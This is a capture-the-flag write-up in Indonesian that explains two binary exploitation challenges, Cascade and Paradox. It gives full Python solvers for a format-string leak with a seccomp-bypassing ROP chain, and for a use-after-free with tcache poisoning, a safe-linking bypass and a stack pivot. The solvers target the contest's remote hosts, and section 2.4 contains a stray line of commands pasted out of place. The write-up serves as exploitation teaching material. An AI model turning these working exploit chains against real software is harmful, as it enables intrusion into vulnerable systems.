~/tiramisaks
← back to /home

KAPOLRI CUP 2026: Paradox & Cascade Analysis

KAPOLRI CUP 2026 2026-08-01 Binary Exploitation / Reverse Engineering
#KAPOLRI CUP 2026 #Paradox #Cascade #Reverse Engineering #Pwn

Cascade & Paradox Pwn Write-up

polriCTF 2026
Category: Binary Exploitation
Target services: 18.143.187.232:9003 and 18.143.187.232:9004

Ringkasan

Dua challenge ini sama-sama menyediakan binary PIE, libc.so.6, dan dynamic loader yang digunakan remote. Keduanya akhirnya diselesaikan dengan ROP untuk membaca flag.txt, tetapi primitive awalnya berbeda:

  • Cascade: format-string leak, stack overflow, lalu ORW ROP di bawah seccomp.
  • Paradox: use-after-free, libc/heap leak, safe-linking bypass, tcache poisoning ke environ, overwrite return address, stack pivot, lalu ORW ROP.

Flag yang ditemukan:

Cascade: polriCTF26{n0_sh3ll_0nly_0rw_r0p_und3r_s3cc0mp}
Paradox: polriCTF26{th3_r34l_p4r4d0x_1s_m0r3_th4n_41_sl0p_wlwlwlwl}

1. Cascade Relay v4

1.1 Recon awal

Ekstrak arsip dan periksa binary:

unzip cascade.zip
file cascade libc.so.6 ld-linux-x86-64.so.2
readelf -W -l cascade | grep GNU_
readelf -h cascade | grep Type
nm -n cascade
strings -a -n 4 cascade

Hasil penting:

ELF 64-bit, x86-64
PIE enabled
NX enabled
Stack canary enabled
Full RELRO
Not stripped

String yang langsung menjelaskan tema challenge:

=== Cascade Relay v4 (sandboxed) ===
name>
hello,
seccomp
payload>
hanz: system('/bin/sh')? sayang, execve-nya kucekik seccomp. ORW aja ya.

Binary juga memuat decoy:

polriCTF26{n0t_th3_r34l_sh3ll_fl4g}

Jangan submit string tersebut. Itu hanya decoy_flag di .data.

1.2 Menjalankan binary dengan loader yang disediakan

Karena challenge menyertakan libc dan loader sendiri, jalankan seperti ini:

./ld-linux-x86-64.so.2 --library-path . ./cascade

1.3 Audit fungsi leaker

Disassembly:

objdump -d -M intel --disassemble=leaker cascade

Alur pentingnya adalah:

fgets(buf, 0xa0, stdin);
buf[strcspn(buf, "\n")] = 0;
printf("hello, ");
printf(buf);                  // vulnerability

Input pengguna diberikan langsung sebagai format string. Ini memberi arbitrary stack disclosure melalui %p atau positional specifier seperti %27$p.

Probe awal:

python3 - <<'PY' | ./ld-linux-x86-64.so.2 --library-path . ./cascade
print(' '.join(f'%{i}$p' for i in range(14, 40)))
print('A')
PY

Slot penting yang ditemukan:

%27$p -> stack canary
%17$p -> pointer ke libc
%29$p -> return address di PIE, juga dapat dipakai untuk identifikasi mapping
%31$p -> pointer stack

Leak %17$p menunjuk ke libc + 0x8ce70, sehingga:

libc_base = leak_17 - 0x8ce70

Canary pada %27$p memiliki byte rendah 00, sesuai bentuk stack canary x86-64.

1.4 Audit overflow pada main

Disassembly main menunjukkan:

lea rsi, [rsp+0xa0]
mov edx, 0x200
xor edi, edi
call read

Binary membaca 0x200 byte ke buffer yang letaknya hanya 0x48 byte sebelum canary. Layout yang terverifikasi:

buffer          : 72 byte
stack canary    : 8 byte
a saved slot    : 8 byte
saved RIP       : ROP chain

Payload dasar:

payload  = b'A' * 72
payload += p64(canary)
payload += p64(0)
payload += rop_chain

1.5 Kenapa system('/bin/sh') bukan solusi

main memasang seccomp sebelum memanggil leaker() dan membaca payload. Hint binary secara eksplisit mengatakan bahwa execve diblokir. Karena itu ret2libc ke system('/bin/sh') tidak cocok.

Strategi yang sesuai adalah ORW:

  1. open("flag.txt", O_RDONLY)
  2. read(fd, buffer, 0x100)
  3. write(1, buffer, 0x100)

1.6 Gadget dan symbol libc

Dari libc yang disediakan:

pop rdi ; ret            libc + 0x2a9b7
pop rsi ; ret            libc + 0x29e29
pop rdx ; pop rbx ; ret  libc + 0x91845
pop rax ; ret            libc + 0x44386
syscall ; ret            libc + 0x926e2
xchg eax, edi ; ret      libc + 0x17d1f6
read                     libc + 0x1072b0
write                    libc + 0x107d10

open() mengembalikan file descriptor di rax. Jangan mengasumsikan descriptor selalu 3. Gadget berikut memindahkan hasilnya ke argumen pertama read():

xchg eax, edi ; ret

1.7 Solver Cascade

#!/usr/bin/env python3
import re, socket, struct, time

HOST, PORT = '18.143.187.232', 9003
p64 = lambda x: struct.pack('<Q', x)

def recvuntil(s, marker):
    data = b''
    while marker not in data:
        data += s.recv(4096)
    return data

s = socket.create_connection((HOST, PORT))
recvuntil(s, b'name> ')
s.sendall(b'%27$p|%17$p\n')
out = recvuntil(s, b'payload> ')

canary, leak = map(
    lambda x: int(x, 16),
    re.search(rb'hello, (0x\w+)\|(0x\w+)', out).groups()
)
libc = leak - 0x8ce70

pop_rdi = libc + 0x2a9b7
pop_rsi = libc + 0x29e29
pop_rdx_rbx = libc + 0x91845
pop_rax = libc + 0x44386
syscall_ret = libc + 0x926e2
xchg_eax_edi = libc + 0x17d1f6
read = libc + 0x1072b0
write = libc + 0x107d10
bss = libc + 0x1e9000

chain = [
    # read(0, bss, 16), untuk memasukkan "flag.txt"
    pop_rdi, 0,
    pop_rsi, bss,
    pop_rdx_rbx, 16, 0,
    read,

    # open("flag.txt", 0) via syscall 2
    pop_rax, 2,
    pop_rdi, bss,
    pop_rsi, 0,
    syscall_ret,

    # fd hasil open: eax -> edi
    xchg_eax_edi,

    # read(fd, bss+0x100, 0x100)
    pop_rsi, bss + 0x100,
    pop_rdx_rbx, 0x100, 0,
    read,

    # write(1, bss+0x100, 0x100)
    pop_rdi, 1,
    pop_rsi, bss + 0x100,
    pop_rdx_rbx, 0x100, 0,
    write,
]

payload  = b'A' * 72
payload += p64(canary)
payload += p64(0)
payload += b''.join(map(p64, chain))

s.sendall(payload)
time.sleep(0.2)
s.sendall(b'flag.txt\0'.ljust(16, b'\0'))
s.shutdown(socket.SHUT_WR)

result = b''
while True:
    part = s.recv(4096)
    if not part:
        break
    result += part

print(result.split(b'\0')[0].decode(errors='replace'))

Output remote:

polriCTF26{n0_sh3ll_0nly_0rw_r0p_und3r_s3cc0mp}

1.8 Hal yang sempat bikin gagal

Menghitung libc dari %29$p

%29$p adalah pointer PIE, bukan pointer libc. Menguranginya dengan offset libc menghasilkan base yang salah dan ROP langsung crash.

Memanggil wrapper open()

Pada sandbox, syscall langsung lebih mudah dikontrol. pop rax; ret, syscall number 2, lalu syscall; ret memberi primitive yang jelas.

Mengasumsikan fd selalu 3

Pada pengujian tertentu memang sering 3, tetapi solusi robust harus memakai return value open(). Gadget xchg eax, edi; ret menyelesaikan masalah ini.


2. Paradox Object Cache

2.1 Recon awal

unzip paradox.zip
file paradox libc.so.6 ld-linux-x86-64.so.2
readelf -W -l paradox | grep GNU_
readelf -h paradox | grep Type
nm -n paradox
strings -a -n 4 paradox

Proteksi:

PIE enabled
NX enabled
Stack canary enabled
Full RELRO
Not stripped

Menu:

1) alloc
2) free
3) edit
4) view
5) exit

Hint binary:

__free_hook udah tiada
_exit gak nge-flush apa-apa
FSOP? mati
sisanya cuma heap + return address

Decoy flag:

polriCTF26{fr33d_ch4nk_g4rb4g3_n0t_th3_fl4g}

2.2 Struktur global

Symbol yang relevan:

g_done  @ PIE + 0x40a0
sizes   @ PIE + 0x40c0
chunks  @ PIE + 0x4140

Terdapat 16 slot object. Ukuran alokasi dibatasi hingga 0x500 byte.

Secara konseptual:

void *chunks[16];
size_t sizes[16];

2.3 Vulnerability: use-after-free

Pada opsi free, binary memanggil:

free(chunks[idx]);

Tetapi pointer dan ukuran tidak dibersihkan:

chunks[idx] = NULL;   // tidak ada
sizes[idx] = 0;       // tidak ada

Akibatnya slot yang sudah dibebaskan masih dapat dipakai oleh:

edit -> write ke freed chunk
view -> read dari freed chunk
free -> double free jika kondisi allocator mengizinkan

Ini memberi primitive UAF read/write yang sangat kuat.

2.4 Libc leak dari unsorted bin

Alokasikan chunk besar dan guard chunk agar chunk besar tidak bergabung dengan top chunk:

alloc(0, 0x500)
alloc(1, 0x20)
free(0)
view(0)

readelf -Ws libc.so.6 | grep ’ environ@@|__environ@@’; objdump -d -M intel —disassemble=main paradox; Chunk 0x500 masuk unsorted bin. Dua qword awal user data berisi pointer fd dan bk ke main_arena.

Leak yang diperoleh berada pada: b=open(‘libc.so.6’,‘rb’).read();print(hex(b.find(b’\x5c\xc3’)))

libc + 0x1e7b20

Maka:

libc_base = u64(view(0)[:8]) - 0x1e7b20

2.5 Safe-linking dan heap leak

Pada glibc modern, pointer next tcache disimpan dengan safe-linking:

encoded_next = real_next ^ (chunk_address >> 12)

Gunakan dua chunk berukuran sama:

alloc A, 0x80
alloc B, 0x80
free A
free B
view B

Tcache list menjadi:

B -> A

Karena chunk berurutan, jarak user pointer untuk request 0x80 adalah 0x90:

B = A + 0x90
encoded = A ^ (B >> 12)

A dapat direkonstruksi dengan fixed-point iteration:

def reveal(encoded, delta):
    address = encoded
    for _ in range(8):
        address = encoded ^ ((address + delta) >> 12)
    return address

Untuk size class request 0x80:

A = reveal(encoded, 0x90)
B = A + 0x90
key = B >> 12

2.6 Tcache poisoning ke environ

Libc mengekspor:

environ / __environ @ libc + 0x1eee28

environ berisi pointer ke stack. Untuk meminta malloc() mengembalikan pointer dekat environ, overwrite B->next melalui UAF:

poisoned = target ^ (B >> 12)
edit(B, p64(poisoned))

Target harus memenuhi alignment tcache. environ berakhiran ...28, sehingga gunakan:

target = environ - 0x18

Target ini 16-byte aligned, dan nilai environ berada pada offset 0x18 dari hasil alokasi.

malloc #1 -> B
malloc #2 -> environ - 0x18
view #2, bytes [0x18:0x20] -> stack pointer

Kenapa bukan environ - 8? Ketika chunk keluar dari tcache, allocator menulis ulang metadata awal chunk. Jika pointer penting ditempatkan tepat pada area metadata tersebut, leak dapat berubah menjadi nol. Meletakkan environ pada offset 0x18 menghindari clobber tersebut.

2.7 Menentukan saved return address

Dari pengujian lokal dengan libc dan loader challenge, environ relatif terhadap saved return address milik run():

saved RIP run = environ - 0x140

Agar alokasi poisoned memberi ruang 8 byte sebelum saved RIP, target yang digunakan:

stack_target = environ - 0x148

Isi chunk hasil poisoning:

offset 0x00 : padding
 offset 0x08 : saved RIP
 offset berikutnya: ROP chain

2.8 Poison size class kedua ke stack

Gunakan size class lain agar tidak bentrok dengan tcache 0x90 sebelumnya:

alloc(6, 0xa0)
alloc(7, 0xa0)
free(6)
free(7)
view(7)

Chunk spacing untuk request 0xa0 adalah 0xb0:

A2 = reveal(encoded2, 0xb0)
B2 = A2 + 0xb0
key2 = B2 >> 12

Poison:

edit(7, p64(stack_target ^ key2))
alloc(8, 0xa0)  # mengambil B2
alloc(9, 0xa0)  # mengembalikan stack_target

Sekarang edit(9, ...) menulis ke stack frame run().

2.9 Kenapa perlu stack pivot

Ukuran edit dibatasi oleh ukuran slot, sehingga ruang di sekitar return address tidak cukup nyaman untuk seluruh ORW chain sekaligus. Solusi dibuat dua tahap.

Stage 1

Overwrite return address dengan chain pendek:

read(0, libc_bss, 0x300)
pop rsp ; ret
libc_bss

Gadget:

pop rsp ; ret  = libc + 0x2861a

Stage 2

Setelah menu exit, run() kembali ke stage 1. Stage 1 membaca chain besar ke .bss libc lalu memindahkan rsp ke sana.

Stage 2 melakukan:

open("flag.txt", O_RDONLY)
read(returned_fd, buffer, 0x100)
write(1, buffer, 0x100)

Return value open kembali dipindahkan dari eax ke edi memakai:

xchg eax, edi ; ret

2.10 Solver Paradox

#!/usr/bin/env python3
import socket, struct, time

HOST, PORT = '18.143.187.232', 9004
p64 = lambda x: struct.pack('<Q', x)

s = socket.create_connection((HOST, PORT))
s.settimeout(5)

def recvuntil(marker):
    data = b''
    while marker not in data:
        data += s.recv(4096)
    return data

def sendline(value):
    s.sendall((str(value) + '\n').encode())

def alloc(idx, size):
    sendline(1)
    recvuntil(b'idx> ')
    sendline(idx)
    recvuntil(b'size> ')
    sendline(size)
    recvuntil(b'> ')

def free(idx):
    sendline(2)
    recvuntil(b'idx> ')
    sendline(idx)
    recvuntil(b'> ')

def edit(idx, data):
    sendline(3)
    recvuntil(b'idx> ')
    sendline(idx)
    recvuntil(b'data> ')
    s.sendall(data)
    recvuntil(b'> ')

def view(idx):
    sendline(4)
    recvuntil(b'idx> ')
    sendline(idx)
    return recvuntil(b'> ')

def reveal(encoded, delta):
    address = encoded
    for _ in range(8):
        address = encoded ^ ((address + delta) >> 12)
    return address

recvuntil(b'> ')

# 1. Libc leak dari unsorted bin
alloc(0, 0x500)
alloc(1, 0x20)
free(0)
main_arena = int.from_bytes(view(0)[:8], 'little')
libc = main_arena - 0x1e7b20
print(f'[+] libc: {libc:#x}')

# 2. Poison tcache 0x90 ke environ-0x18
alloc(2, 0x80)
alloc(3, 0x80)
free(2)
free(3)
encoded = int.from_bytes(view(3)[:8], 'little')
chunk_a = reveal(encoded, 0x90)
chunk_b = chunk_a + 0x90
key = chunk_b >> 12

environ = libc + 0x1eee28
target = environ - 0x18
edit(3, p64(target ^ key))
alloc(4, 0x80)
alloc(5, 0x80)
stack = int.from_bytes(view(5)[0x18:0x20], 'little')
print(f'[+] environ: {stack:#x}')

# 3. Poison tcache 0xb0 ke saved RIP run-8
alloc(6, 0xa0)
alloc(7, 0xa0)
free(6)
free(7)
encoded = int.from_bytes(view(7)[:8], 'little')
chunk_a = reveal(encoded, 0xb0)
chunk_b = chunk_a + 0xb0
key = chunk_b >> 12

target = stack - 0x148
edit(7, p64(target ^ key))
alloc(8, 0xa0)
alloc(9, 0xa0)

# 4. Gadget dan stage 1
pop_rdi = libc + 0x2a9b7
pop_rsi = libc + 0x29e29
pop_rdx_rbx = libc + 0x91845
pop_rax = libc + 0x44386
syscall_ret = libc + 0x926e2
xchg_eax_edi = libc + 0x17d1f6
pop_rsp = libc + 0x2861a
read = libc + 0x1072b0
write = libc + 0x107d10
bss = libc + 0x1f2000

stage1 = p64(0) + b''.join(map(p64, [
    pop_rdi, 0,
    pop_rsi, bss,
    pop_rdx_rbx, 0x300, 0,
    read,
    pop_rsp, bss,
]))
edit(9, stage1)

# Return dari run(), masuk ke stage 1
sendline(5)

# 5. Stage 2 ORW
filename = bss + 0x180
outbuf = bss + 0x200
stage2 = b''.join(map(p64, [
    pop_rax, 2,
    pop_rdi, filename,
    pop_rsi, 0,
    syscall_ret,
    xchg_eax_edi,
    pop_rsi, outbuf,
    pop_rdx_rbx, 0x100, 0,
    read,
    pop_rdi, 1,
    pop_rsi, outbuf,
    pop_rdx_rbx, 0x100, 0,
    write,
]))
stage2 = stage2.ljust(0x180, b'X') + b'flag.txt\0'

time.sleep(0.2)
s.sendall(stage2)
s.shutdown(socket.SHUT_WR)

result = b''
while True:
    try:
        part = s.recv(4096)
    except socket.timeout:
        break
    if not part:
        break
    result += part

print(result.split(b'\0')[0].decode(errors='replace'))

Output remote:

bye
polriCTF26{th3_r34l_p4r4d0x_1s_m0r3_th4n_41_sl0p_wlwlwlwl}

2.11 Hal yang sempat bikin gagal

Free chunk besar tanpa guard

Jika chunk besar berada tepat sebelum top chunk, allocator dapat menggabungkannya dengan top dan user data tidak berisi unsorted-bin pointer yang diharapkan. Guard allocation sesudah chunk besar mencegah konsolidasi itu.

Menargetkan environ - 8

Walaupun aligned, tcache allocation membersihkan atau menulis metadata awal hasil alokasi. Nilai environ ikut ter-clobber dan leak terbaca nol. environ - 0x18 menjaga pointer pada offset 0x18.

Mengabaikan safe-linking

Menulis alamat target mentah ke tcache next menyebabkan allocator mendeteksi pointer invalid. Nilai yang benar adalah:

target ^ (address_of_freed_chunk >> 12)

Slot poisoned hanya memberi write terbatas. Gunakan stage 1 pendek untuk read() chain besar ke .bss, lalu pop rsp; ret untuk pivot.


3. Kesimpulan

Cascade

Exploit chain:

format string
  -> leak canary + libc
  -> stack overflow
  -> ORW ROP di bawah seccomp
  -> flag.txt

Paradox

Exploit chain:

UAF view pada unsorted chunk
  -> libc leak
  -> UAF tcache leak
  -> safe-linking bypass
  -> poison ke environ
  -> stack leak
  -> poison ke saved RIP
  -> stage-1 read + stack pivot
  -> stage-2 ORW
  -> flag.txt

Kedua challenge menekankan hal yang sama: jangan berhenti pada primitive pertama. Leak, arbitrary allocation, overwrite return address, dan ROP harus dirangkai secara konsisten sampai menghasilkan primitive baca file yang stabil.